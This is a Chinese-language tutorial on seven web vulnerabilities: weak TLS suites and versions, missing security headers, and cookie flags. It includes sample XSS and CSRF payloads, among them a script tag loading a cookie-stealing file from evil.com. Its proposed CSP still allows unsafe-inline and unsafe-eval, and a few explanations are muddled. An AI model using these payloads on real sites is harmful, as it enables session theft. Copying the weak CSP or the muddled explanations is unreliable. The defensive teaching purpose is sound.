七大 Web 安全漏洞详解漏洞 1中等强度 SSL 加密套件原理HTTPS 连接建立时客户端和服务器要协商使用哪种加密算法称为加密套件。加密套件决定了密钥交换算法如 ECDHE— 双方如何安全地约定密钥认证算法如 RSA— 验证服务器身份对称加密算法如 AES128 / AES256— 实际数据加密MAC 算法如 SHA256— 数据完整性校验问题在于服务器支持了中等强度的套件如 128 位 AES 或 RC4这些算法在当今算力下可能被破解。攻击方式攻击者截获加密流量利用暴力破解或已知漏洞如 RC4 的偏差攻击还原明文内容。修复在 TLS 终结设备ALB上配置安全策略只保留高强度套件# 高强度保留 TLS_AES_256_GCM_SHA384 ECDHE-RSA-AES256-GCM-SHA384 # 中等强度禁用 AES128-CBC-SHA RC4-MD5漏洞 2TLS 1.0 / 1.1 协议原理TLS 协议本身有多个版本1.0 → 1.1 → 1.2 → 1.3每个版本修复了前版本的漏洞版本发布年份已知漏洞TLS 1.01999BEASTCBC 模式可预测 IVTLS 1.12006修复了 BEAST但仍有弱 MACTLS 1.22008支持 AEAD 加密GCM目前主流TLS 1.32018移除所有不安全算法握手更快攻击方式BEAST 攻击利用 CBC 模式的 IV 可预测性通过恶意 JavaScript 逐字节猜解 Cookie降级攻击攻击者迫使双方协商使用低版本 TLS再利用低版本漏洞修复在 ALB 安全策略中设置最低 TLS 版本为 1.2禁用 1.0 和 1.1。.TLS 是什么TLSTransport Layer Security传输层安全协议是 HTTPS 的安全基础负责在网络上加密通信。HTTP 是明信片任何人都能看到内容TLS 就是给明信片套上密封信封HTTPS HTTP TLS。TLS 做了三件事功能通俗解释没有它会怎样加密把数据变成乱码只有双方能解读密码、Cookie 被中间人窃听认证证明服务器确实是它声称的那个访问假银行网站被骗输入密码完整性检测数据是否被篡改转账金额从 100 被改成 10000TLS 握手过程简化版TLS 版本演进SSL 2.0 (1995) → SSL 3.0 (1996) → TLS 1.0 (1999) → TLS 1.1 (2006)→ TLS 1.2 (2008) → TLS 1.3 (2018) 已废弃 已废弃 已废弃 已废弃 主流使用 最新旧版本被淘汰的原因TLS 1.0BEAST 攻击利用 CBC 模式缺陷TLS 1.1仍使用弱 MAC 算法TLS 1.2引入 AEAD 加密GCM目前主流TLS 1.3移除所有不安全算法握手只需 1 轮更快漏洞 3缺少 HSTS 头原理用户访问https://example.com时第一次请求可能被攻击者劫持为 HTTP通过 DNS 欺骗或 ARP 欺骗攻击者充当中间人用户输入 https://example.com ↓ 浏览器查询 DNS: example.com 的 IP 是什么 ↓ 攻击者伪造 DNS 响应: example.com 的 IP 是 5.6.7.8攻击者 IP ↓ 浏览器连接 5.6.7.8:443以为连的是真实服务器 ↓ 攻击者用自己的服务器响应不做 HTTPS直接返回 HTTP 301 重定向 ↓ 浏览器跳转到 http://example.com即使用户输入了https://攻击者仍可以将其重定向到 HTTP 版本。浏览器不会记住这个网站必须用 HTTPS。HSTS 的作用Strict-Transport-Security响应头告诉浏览器在指定时间内此网站必须使用 HTTPS即使用户输入 HTTP 也自动跳转为 HTTPS。Strict-Transport-Security: max-age31536000; includeSubDomains; preloadmax-age315360001 年内强制 HTTPSincludeSubDomains覆盖所有子域名preload可申请加入浏览器内置的 HSTS 预加载列表即使用户第一次访问也走 HTTPS修复在应用中间件中设置该头仅在 HTTPS 模式下生效避免 HTTP 环境下设置导致用户被锁定。漏洞 4缺少 Cache-Control 头原理浏览器和中间代理如 CDN、企业网关会缓存 HTTP 响应。如果没有明确指示不要缓存敏感数据可能被缓存用户A 登录 → 服务器返回用户A的个人信息页面 代理缓存了该页面 用户B 访问同一URL → 代理返回用户A的缓存页面信息泄露相关头头作用Cache-Control: no-cache, no-store, must-revalidateHTTP/1.1 标准现代浏览器使用Pragma: no-cacheHTTP/1.0 兼容老浏览器Expires: 0设置过期时间为立即兼容性补充三个一起设置是为了兼容所有浏览器和代理。修复在应用中间件中对所有非静态资源响应设置这三个头。漏洞 5缺少 CSP 头原理没有 CSP 时浏览器允许页面加载任意来源的脚本、样式、图片等。攻击者注入恶意代码后!-- XSS 攻击注入外部脚本 --scriptsrchttps://evil.com/steal.js/script浏览器会执行这个脚本窃取用户 Cookie 或 Session。CSP 的作用Content-Security-Policy是一个白名单机制告诉浏览器只允许从哪些来源加载资源Content-Security-Policy: default-src self; script-src self unsafe-inline unsafe-eval https://api.map.baidu.com; style-src self unsafe-inline; img-src self data: blob: https: http:; frame-ancestors *; object-src none指令含义default-src self默认只允许同源资源script-src self unsafe-inline ...脚本同源 内联脚本 指定外部域frame-ancestors *允许被任意页面 iframe 嵌入保留分享功能object-src none禁止加载 Flash/Java 插件修复在应用中间件中设置 CSP 头通过环境变量sugar_csp和sugar_frame_ancestors支持自定义配置。漏洞 6缺少 X-Content-Type-Options 头原理服务器返回任何响应时都会带一个 Content-Type 头告诉浏览器这是什么类型的数据Content-Type: text/html → 浏览器当网页渲染执行其中的 JS Content-Type: text/plain → 浏览器当纯文本显示不执行任何代码 Content-Type: application/json → 浏览器当 JSON 数据显示 Content-Type: image/png → 浏览器当图片显示浏览器有MIME 嗅探功能当响应的Content-Type不明确或被标记为text/plain时浏览器会猜测实际类型并按猜测结果执行。服务器返回Content-Type: text/plain 实际内容scriptalert(XSS)/script 浏览器嗅探后认为是 HTML → 执行脚本攻击者上传一个声明为text/plain的文件浏览器却当 HTML 执行造成 XSS。修复设置X-Content-Type-Options: nosniff禁止浏览器嗅探严格按Content-Type处理。漏洞 7Cookie 未设置 Secure 标志标志作用不设置的后果Secure只在 HTTPS 下传输HTTP 连接下 Cookie 被明文截获HttpOnlyJavaScript 无法读取XSS 攻击可窃取 CookieSameSite限制跨站发送CSRF 攻击可冒用用户身份原理Cookie 有三个安全标志位标志 1Secure — 防止明文传输强制要求HTTPS传输并把Cookie加密防止被明文截获。浏览器 → 服务器: GET /dashboard (HTTP) 不带 Cookie因为 Secure 要求 HTTPS 浏览器 → 服务器: GET /dashboard (HTTPS) Cookie: sessionabc123 ← 加密传输攻击者看不到标志 2HttpOnly — 防止 JavaScript 读取浏览器中的 JavaScript 完全无法通过 document.cookie 读取这个 Cookie 的值也看不到它的存在。即使攻击者通过 XSS 漏洞注入了恶意脚本也无法窃取这个 Cookie。攻击者通过 XSS 在页面注入脚本:: scriptdocument.cookie/script 浏览器: 这个 Cookie 标记了 HttpOnlyJavaScript 不允许读取 document.cookie → 空 → 攻击者什么都拿不到标志 3SameSite — 防止跨站冒用CSRF攻击者利用用户已登录的身份在用户不知情的情况下冒充用户发送请求。1. 用户登录 bank.com 浏览器存了 Cookie: sessionabc123 用户没有退出登录 2. 攻击者诱导用户访问恶意网站 evil.com 通过钓鱼邮件、广告链接等 3. evil.com 页面里藏着: img srchttps://example.com/api/delete-account 4. 浏览器加载这张图片时会向 bank.com 发送一个 GET 请求因为你的 Cookie 还在浏览器会自动带上它。 GET /api/delete-account Cookie: sessionabc123 ← 浏览器自动带上 5. 服务器bank.com收到请求: 验证Cookie 有效 → 是用户本人 → 执行删除账号 -----SameSiteLax----- 浏览器向 example.com 发起 POST 请求从 evil.com: → 这是跨站请求 → SameSiteLax: 跨站 POST 请求不带 Cookie → 服务器: 没有 Cookie未登录 → 拒绝操作SameSite 三个值值跨站 GET跨站 POST适用场景Strict不带不带最严格但用户从外部链接点进来也不带 Cookie体验差Lax带不带平衡安全和体验大多数场景用这个None带带需要跨站功能如第三方 iframe必须配合 Secure修复为所有 Cookie 设置三个安全标志Secure通过sugar_is_https环境变量控制仅在 HTTPS 环境下生效。